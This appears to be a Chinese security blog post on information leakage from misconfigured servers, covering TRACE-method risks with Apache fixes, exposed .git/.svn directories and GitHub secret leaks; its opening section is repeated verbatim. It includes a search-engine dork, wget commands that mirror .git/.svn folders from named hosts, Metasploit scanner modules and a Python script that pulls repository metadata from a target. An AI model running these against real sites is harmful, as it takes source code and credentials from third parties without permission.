注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
0x00 前言 信息泄露涉及范围广泛,破坏之大,给业内各企业带来不少担忧与苦恼。
配置不当的分类:
(1)WEBserver本身:之前发生的nginx等解析漏洞webserver的目录遍历等。
(2)网络协议相关:snmp弱community、dns域传送、ssh等。
(3)应用服务相关:压缩文件,备份文件,其他如日志history、phpinfo等,zabbix,jenkins、phpmyadmin、hadoop等。
(4)系统服务相关:之前暴露的openssl心脏滴血,破壳等。
(5)人员安全意识:在部署项目的时候 svn,git 信息泄露可导致代码泄露。
0x01 配置不当的防范 (1)业务上线前进行安全基线检查 (统一安全配置基线,即最低安全红线,根据安全配置基线产生公司默认配置模板,所有预上线阶段全部默认使用配置模板,当模板满足不了需求时,可以根据配置模板进行相应更改,但是上线之前需要通过安全基线工具)。 (2)对线上业务进行定时检查(培训+监控,辅助扫描)。 (3)对攻击行为进行监控,一般这样做之后会杜绝大部分的配置不当问题, 其他信息泄露问题主要是采用自检或者src白帽子提交的漏洞来发现,发现之后走修复流程不会分层做。
补充Tips:主机Agent在被监控应用所在的主机上面,安装小的Agent软件即代理软件
,通过它实现对数据的采集和管理
0x03 实用案例 TRACE方法信息泄露 漏洞名称:检测到目标服务器启用了TRACE方法 详细描述 :TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容。
启用TRACE方法存在如下风险:
1、恶意攻击者可以通过TRACE方法返回的信息了解到网站前端的某些信息,如缓存服务器等,从而为进一步的攻击提供便利。
2、恶意攻击者可以通过TRACE方法进行XSS攻击。
3、即使网站对关键页面启用了HttpOnly头标记和禁止脚本读取cookie信息,但是通过TRACE 方法恶意攻击者还是可以绕过这个限制读取到cookie信息。
解决办法: 1、2.0.55以上的Apache服务器,在httpd.conf的尾部添加:TraceEnable off。 2、如果使用的是Apache: - 确认rewrite模块激活(httpd.conf,下面一行前面没有#): LoadModule rewrite_module modules/mod_rewrite.so - 在各虚拟主机的配置 文件里添加如下语句:
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。
[TOC]
0x00 前言 信息泄露涉及范围广泛,破坏之大,给业内各企业带来不少担忧与苦恼。
配置不当的分类:
(1)WEBserver本身:之前发生的nginx等解析漏洞webserver的目录遍历等。
(2)网络协议相关:snmp弱community、dns域传送、ssh等。
(3)应用服务相关:压缩文件,备份文件,其他如日志history、phpinfo等,zabbix,jenkins、phpmyadmin、hadoop等。
(4)系统服务相关:之前暴露的openssl心脏滴血,破壳等。
(5)人员安全意识:在部署项目的时候 svn,git 信息泄露可导致代码泄露。
0x01 配置不当的防范 (1)业务上线前进行安全基线检查 (统一安全配置基线,即最低安全红线,根据安全配置基线产生公司默认配置模板,所有预上线阶段全部默认使用配置模板,当模板满足不了需求时,可以根据配置模板进行相应更改,但是上线之前需要通过安全基线工具)。 (2)对线上业务进行定时检查(培训+监控,辅助扫描)。 (3)对攻击行为进行监控,一般这样做之后会杜绝大部分的配置不当问题, 其他信息泄露问题主要是采用自检或者src白帽子提交的漏洞来发现,发现之后走修复流程不会分层做。
补充Tips:主机Agent在被监控应用所在的主机上面,安装小的Agent软件即代理软件
,通过它实现对数据的采集和管理
0x03 实用案例 TRACE方法信息泄露 漏洞名称:检测到目标服务器启用了TRACE方法 详细描述 :TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容。
启用TRACE方法存在如下风险:
1、恶意攻击者可以通过TRACE方法返回的信息了解到网站前端的某些信息,如缓存服务器等,从而为进一步的攻击提供便利。
2、恶意攻击者可以通过TRACE方法进行XSS攻击。
3、即使网站对关键页面启用了HttpOnly头标记和禁止脚本读取cookie信息,但是通过TRACE 方法恶意攻击者还是可以绕过这个限制读取到cookie信息。
解决办法: 1、2.0.55以上的Apache服务器,在httpd.conf的尾部添加:TraceEnable off。 2、如果使用的是Apache: - 确认rewrite模块激活(httpd.conf,下面一行前面没有#): LoadModule rewrite_module modules/mod_rewrite.so - 在各虚拟主机的配置 文件里添加如下语句:1 2 3 RewriteEngine On RewriteCond %{REQUEST_METHOD} ^TRACE RewriteRule .* - [F]
.git /.svn 泄露源代码信息 漏洞名称:.git / .svn 配置不当导致源代码泄露 如果.git文件夹暴露在外网服务器上,攻击者可以通过.git下载所有的代码,当前前提是目录可被遍历,如果能遍历可以简单的获取到源代码。 Google语法查找:1 ".git" intitle:"Index of"
Wget命令下载镜像查看1 2 3 wget --mirror --include-directories=/.git http://10.10.17.222/test /.git/ wget --no-check-certificate --mirror --include-directories=/.git https://wvvdey-8080-ooqzry.dev.ide.live/.git
weiyigeek.top-下载get的config
在svn1.6之前的版本,通过访问.svn/.entries,可以下载到svn里的代码,在svn1.7之后的版本通过访问.svn/wc.db ,存在一个SQLite数据库文件里面1 2 3 4 5 6 7 8 9 wget --mirror --include-directories=/.svn http://xxx.com/.svn auxiliary/scanner/http/svn_scanner auxiliary/scanner/http/svn_wcdb_scanner python gitsvnScan.py http://ricewater.cn/ python gitsvnScan.py http://ftp.yx56.cn/codebase/imgs [!] .svn/entries写入成功 [!] .svn/wc.db 写入成功
利用代码下载:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import sysimport requestsdef git (url) : try : g = requests.get(url+'config' , timeout=5 ) except Exception as e: print("[*] 请求失败" +str(e)) with open('gitconfig.txt' ,'w' ) as config: config.writelines(g.text) print("[!] .git/config写入成功" ) def svn (url) : try : s = requests.get(url+'entries' , timeout=5 ) except Exception as e: print("[*] 请求失败" +str(e)) if (s.status_code == 200 ): with open('svnentries.txt' ,'w' ) as config: config.writelines(s.text) print("[!] .svn/entries写入成功" ) try : s = requests.get(url + 'wc.db' , timeout=5 ) except Exception as e: print("[*] 请求失败" + str(e)) if (s.status_code == 200 ): with open('wc.db' , 'wb' ) as config: config.write(s.content) print("[!] .svn/wc.db 写入成功" ) def main (url) : gitPath = url+'/.git/' svnPath = url+'/.svn/' try : g = requests.get(gitPath, timeout=5 ) except Exception as e: print("[*] 请求失败" +str(e)) if (g.status_code == 200 ): git(gitPath) try : s = requests.get(svnPath, timeout=5 ) except Exception as e: print("[*] 请求失败" + str(e)) if (s.status_code == 200 ): svn(svnPath) else : print("URL:" , g.url, " status_code:" , g.status_code) print("URL:" , s.url, " status_code:" , s.status_code) print("[*] 该站点不存在/.git或者/.svn信息泄露" ) if __name__ == '__main__' : if len(sys.argv) <= 1 : print("usage: gitsvnScan.py http://url.com" ) sys.exit(1 ) main(str(sys.argv[1 ]))
github 信息泄露 GitHub 的私有仓库是需要花钱才能使用,大部分程序员使用的公共仓库,这就意味着任何人都能查看到你上传的文件,如果文件里包含敏感信息,那么将会造成以下安全隐患:
(1).如果是公司各种应用服务的登陆凭证,黑客可以轻而易举的进入内部人员访问区域,并获取到内部才能获得的信息。 (2).如果是公司的 web 项目代码,黑客可以通过代码审计,更容易的挖掘出漏洞来攻击公司网络。 (3).如果是公司的核心技术代码,可能会被商业竞争对手盗去,对公司造成经济上的损失。 还有就是有些公司直接使用开源项目的代码进行部署,没有对项目代码进行安全审核,如果该开源项目中包含了攻击者的恶意代码,也将会对公司造成安全隐患。
GitHub给开发者来方便的同时存在哪些安全隐患问题:
①账号密码泄露(公司邮箱、联系人通讯录、办公vpn等)
②核心算法泄露(系统、软件被破解)
③API_KEY泄露(利用接口进行攻击等)
④服务器key、配置泄露(危害服务器安全)
⑤源码泄露(代码被审计,可能被人搞0day)